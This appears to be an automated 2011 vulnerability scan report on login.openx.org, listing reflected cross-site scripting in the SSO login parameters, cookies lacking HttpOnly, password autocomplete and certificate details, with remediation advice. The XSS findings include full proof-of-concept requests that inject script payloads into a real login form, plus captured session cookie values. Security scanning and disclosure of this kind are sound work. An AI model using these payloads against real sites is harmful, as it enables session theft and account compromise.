Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 379d5"><script>alert(1)</script>c1f56f4011b was submitted in the %27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sso/login?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E379d5"><script>alert(1)</script>c1f56f4011b HTTP/1.1 Host: login.openx.org Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=F81A80C819DB1B0A54261C43F1F0E5F5.tomcat3; SESS0ee729e30538ce556dcd3d93ddcd188a=4khdkuq7vjt0nvle6sa2de5df0; __utmz=209178444.1297358902.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=209178444.706453796.1297358902.1297358902.1297358902.1; __utmc=209178444; __utmb=209178444.6.10.1297358902
Response
HTTP/1.1 200 OK Date: Thu, 10 Feb 2011 17:35:14 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Language: en-US Vary: Accept-Encoding Connection: close Content-Length: 5478
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/ ...[SNIP]... <form id="login-form" method="post" action="login?%27--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000012)%3C/script%3E379d5"><script>alert(1)</script>c1f56f4011b"> ...[SNIP]...
1.2. https://login.openx.org/sso/login [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://login.openx.org
Path:
/sso/login
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b19c"><script>alert(1)</script>69b19764f2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sso/login?service=http://adserver.openx.org/&9b19c"><script>alert(1)</script>69b19764f2c=1 HTTP/1.1 Host: login.openx.org Connection: keep-alive Referer: http://openx.org/publisher/enterprise-ad-server Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SESS0ee729e30538ce556dcd3d93ddcd188a=4khdkuq7vjt0nvle6sa2de5df0; __utmz=209178444.1297358902.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=209178444.706453796.1297358902.1297358902.1297358902.1; __utmc=209178444; __utmb=209178444.2.10.1297358902
Response
HTTP/1.1 200 OK Date: Thu, 10 Feb 2011 17:31:06 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Set-Cookie: JSESSIONID=0A5E12B54ED25AB3569F42A93D420F9B.tomcat3; Path=/sso; Secure Content-Type: text/html;charset=UTF-8 Content-Language: en-US Vary: Accept-Encoding Connection: close Content-Length: 5494
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/ ...[SNIP]... <form id="login-form" method="post" action="login;jsessionid=0A5E12B54ED25AB3569F42A93D420F9B.tomcat3?service=http://adserver.openx.org/&9b19c"><script>alert(1)</script>69b19764f2c=1"> ...[SNIP]...
The value of the service request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5ca3"><script>alert(1)</script>b9deb20ab73 was submitted in the service parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sso/login?service=http://adserver.openx.org/e5ca3"><script>alert(1)</script>b9deb20ab73 HTTP/1.1 Host: login.openx.org Connection: keep-alive Referer: http://openx.org/publisher/enterprise-ad-server Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SESS0ee729e30538ce556dcd3d93ddcd188a=4khdkuq7vjt0nvle6sa2de5df0; __utmz=209178444.1297358902.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=209178444.706453796.1297358902.1297358902.1297358902.1; __utmc=209178444; __utmb=209178444.2.10.1297358902
Response
HTTP/1.1 200 OK Date: Thu, 10 Feb 2011 17:31:06 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Set-Cookie: JSESSIONID=E7A5CDBBBEFF82F707B1A37CF3CCFA70.tomcat3; Path=/sso; Secure Content-Type: text/html;charset=UTF-8 Content-Language: en-US Vary: Accept-Encoding Connection: close Content-Length: 5491
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/ ...[SNIP]... <form id="login-form" method="post" action="login;jsessionid=E7A5CDBBBEFF82F707B1A37CF3CCFA70.tomcat3?service=http://adserver.openx.org/e5ca3"><script>alert(1)</script>b9deb20ab73"> ...[SNIP]...
2. Cookie without HttpOnly flag setpreviousnext There are 2 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /account/account/signup? HTTP/1.1 Host: login.openx.org Connection: keep-alive Referer: https://login.openx.org/sso/login?service=http://adserver.openx.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SESS0ee729e30538ce556dcd3d93ddcd188a=4khdkuq7vjt0nvle6sa2de5df0; __utmz=209178444.1297358902.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=209178444.706453796.1297358902.1297358902.1297358902.1; __utmc=209178444; __utmb=209178444.2.10.1297358902
Response
HTTP/1.1 200 OK Date: Thu, 10 Feb 2011 17:31:14 GMT Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Set-Cookie: JSESSIONID=9179833563D25D2B597B798A3AB05E42.tomcat3; Path=/account; Secure Content-Type: text/html;charset=UTF-8 Content-Language: en-US Vary: Accept-Encoding Connection: close Content-Length: 9016
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" x ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /sso/login?service=http://adserver.openx.org/ HTTP/1.1 Host: login.openx.org Connection: keep-alive Referer: http://openx.org/publisher/enterprise-ad-server Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SESS0ee729e30538ce556dcd3d93ddcd188a=4khdkuq7vjt0nvle6sa2de5df0; __utmz=209178444.1297358902.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=209178444.706453796.1297358902.1297358902.1297358902.1; __utmc=209178444; __utmb=209178444.2.10.1297358902
Response
HTTP/1.1 200 OK Date: Thu, 10 Feb 2011 17:31:03 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Set-Cookie: JSESSIONID=FD6B61F566D840CFC735F1A7B8EFDB45.tomcat3; Path=/sso; Secure Content-Type: text/html;charset=UTF-8 Content-Language: en-US Vary: Accept-Encoding Connection: close Content-Length: 5448
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/ ...[SNIP]...
3. Password field with autocomplete enabledpreviousnext There are 4 instances of this issue:
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The page contains a form with the following action URL:
https://login.openx.org/account/account/signup?
The form contains the following password fields with autocomplete enabled:
password
confirmPassword
Request
GET /account/account/signup? HTTP/1.1 Host: login.openx.org Connection: keep-alive Referer: https://login.openx.org/sso/login?service=http://adserver.openx.org/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SESS0ee729e30538ce556dcd3d93ddcd188a=4khdkuq7vjt0nvle6sa2de5df0; __utmz=209178444.1297358902.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=209178444.706453796.1297358902.1297358902.1297358902.1; __utmc=209178444; __utmb=209178444.2.10.1297358902
Response
HTTP/1.1 200 OK Date: Thu, 10 Feb 2011 17:31:14 GMT Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Set-Cookie: JSESSIONID=9179833563D25D2B597B798A3AB05E42.tomcat3; Path=/account; Secure Content-Type: text/html;charset=UTF-8 Content-Language: en-US Vary: Accept-Encoding Connection: close Content-Length: 9016
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" x ...[SNIP]... </p>
The server presented a valid, trusted SSL certificate. This issue is purely informational.
The server presented the following certificates:
Server certificate
Issued to:
*.openx.org
Issued by:
Equifax Secure Certificate Authority
Valid from:
Thu Jan 14 14:21:39 CST 2010
Valid to:
Mon Apr 18 00:14:21 CDT 2011
Certificate chain #1
Issued to:
Equifax Secure Certificate Authority
Issued by:
Equifax Secure Certificate Authority
Valid from:
Sat Aug 22 11:41:51 CDT 1998
Valid to:
Wed Aug 22 11:41:51 CDT 2018
Issue background
SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.
It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.Report generated by CloudScan Vulnerability Crawler at Thu Feb 10 13:40:50 CST 2011.